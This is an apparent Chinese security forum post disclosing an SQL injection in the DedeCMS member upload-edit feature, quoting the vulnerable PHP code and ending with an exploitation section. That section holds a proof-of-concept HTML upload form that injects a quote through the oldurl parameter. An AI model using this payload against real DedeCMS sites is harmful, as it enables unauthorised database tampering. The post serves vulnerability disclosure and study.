Dedecms 会员中心注入漏洞7

Diana

[AppleScript] 纯文本查看 复制代码

<pre><code>member/upload_edit.php
else if($dopost=='save')
{
    $title = HtmlReplace($title,2);
    if($mediatype==1) $utype = 'image';
    else if($mediatype==2)
    {
        $utype = 'flash';
    }
    else if($mediatype==3)
    {
        $utype = 'media';
    }
    else
    {
        $utype = 'addon';
    }
    $title = HtmlReplace($title, 2);
    $exname = preg_replace("#(.*)/#", "", $oldurl);// 文件名是获取.前面的
    $exname = preg_replace("#\.(.*)$#", "", $exname);
    echo $exname ;
    $filename = MemberUploads('addonfile', $oldurl, $cfg_ml-&gt;M_ID, 
 
$utype,$exname, -1, -1, TRUE);//返回上传的文件名
    SaveUploadInfo($title, $filename, $mediatype);//利用返回的带入查询
    ShowMsg("成功修改文件！", "uploads_edit.php?aid=$aid");
}
 
 
 
function SaveUploadInfo($title,$filename,$medaitype=1,$addinfos='')
{
    global $dsql,$cfg_ml,$cfg_basedir;
    if($filename=='')
    {
        return FALSE;
    }
    if(!is_array($addinfos))
    {
        $addinfos[0] = $addinfos[1] = $addinfos[2] = 0;
    }
    if($medaitype==1)
    {
        $info = '';
        $addinfos = GetImageSize($cfg_basedir.$filename,$info);
    }
    $addinfos[2] = @filesize($cfg_basedir.$filename);
    $row = $dsql-&gt;GetOne("SELECT aid,title,url FROM `#@__uploads` WHERE url 
 
LIKE '$filename' AND mid='".$cfg_ml-&gt;M_ID."'; ");
    $uptime = time();
    if(is_array($row))
    {
        $query = "UPDATE `#@__uploads` SET 
 
title='$title',mediatype='$medaitype',
                     width='{$addinfos[0]}',height='{$addinfos
 
[1]}',filesize='{$addinfos[2]}',uptime='$uptime'
                     WHERE aid='{$row['aid']}'; ";
        $dsql-&gt;ExecuteNoneQuery($query);
    }
    else
    {
        $inquery = "INSERT INTO `#@__uploads`
 
(title,url,mediatype,width,height,playtime,filesize,uptime,mid)
           VALUES ('$title','$filename','$medaitype','".$addinfos
 
[0]."','".$addinfos[1]."','0','".$addinfos[2]."','$uptime','".$cfg_ml-
 
&gt;M_ID."'); ";echo $inquery ;//注入就在这里发生了！
        $dsql-&gt;ExecuteNoneQuery($inquery);
    }
    $fid = $dsql-&gt;GetLastID();
    AddMyAddon($fid, $filename);
    return TRUE;
}</code></pre>

利用方法

[AppleScript] 纯文本查看 复制代码

 
<pre><code>&lt;form id="frmUpload" enctype="multipart/form-data"
 
action="http://127.0.0.1/dede/member/uploads_edit.php?
 
dopost=save&amp;title=ss&amp;oldurl=1'.php" method="post"&gt;看Oldurl就知道了~
 
 
&lt;input type="file" name="addonfile" id="addonfile" size="50"&gt;&lt;br&gt;
&lt;input name="mode" type="hidden" value="2"&gt;
 
&lt;input id="btnUpload" type="submit" value="Upload"&gt;